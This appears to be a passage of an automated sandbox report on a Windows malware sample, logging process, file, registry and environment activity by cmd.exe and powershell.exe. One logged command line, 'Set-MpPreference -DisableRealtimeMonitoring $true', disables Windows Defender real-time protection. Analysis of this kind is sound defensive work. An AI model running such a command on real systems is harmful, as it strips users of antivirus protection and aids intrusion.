Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\sc.exe os_pid = 0x8e4, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x4a830000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\System32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 1627-02-24 06:58:31 (UTC) True 1
Fn
Get Time type = Ticks, time = 10906014 True 1
Fn
Get Time type = Performance Ctr, time = 13004619591 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #19: powershell.exe
828 0
»
Information Value
ID #19
File Name c:\windows\system32\windowspowershell\v1.0\powershell.exe
Command Line powershell Set-MpPreference -DisableRealtimeMonitoring $true
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:55, Reason: Child Process
Unmonitor End Time: 00:01:06, Reason: Self Terminated
Monitor Duration 00:00:10
OS Process Information
»
Information Value
PID 0x81c
Parent PID 0xfc4 (c:\windows\system32\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 114
0x 8CC
0x 8FC
0x 240
0x 908
0x 23C
0x 824
0x 820
Host Behavior
File (394)
»
Operation Filename Additional Information Success Count Logfile
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 2
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 2
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 6
Fn
Get Info C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\powershell.config type = file_attributes False 1
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0 type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml type = file_type True 2
Fn
Get Info C:\Users\2XC7u663GxWc type = file_attributes True 1
Fn
Get Info C:\ type = file_attributes True 6
Fn
Get Info C:\Windows\system32 type = file_attributes True 7
Fn
Get Info C:\Windows type = file_attributes True 4
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Users\2XC7u663GxWc\Documents\WindowsPowerShell\profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Users\2XC7u663GxWc\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 type = file_attributes False 1
Fn
Open STD_INPUT_HANDLE - True 1
Fn
Open STD_ERROR_HANDLE - True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 4096 True 3
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 3315 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 781, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 4096 True 41
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 436 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 2530 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 542, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 4096 True 5
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 4018 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 78, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 2762 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 310, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 4096 True 17
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 3022 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 50, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 281 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 4096 True 62
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 3895 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 201, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 4096 True 21
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 3687 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 409, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 4096 True 4
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 2228 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 844, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 4096 True 4
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 3736 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 360, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Write CONOUT$ size = 79 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 79 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 62 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 17 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 57 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 79 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 25 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 54 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 1 True 2
Fn
Data
Registry (194)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1 - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment - True 1
Fn
Open Key HKEY_CURRENT_USER\Environment - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell - True 2
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 2
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 9
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 2
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Environment value_name = PSMODULEPATH, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = 0, type = REG_SZ True 4
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 9
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 9
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
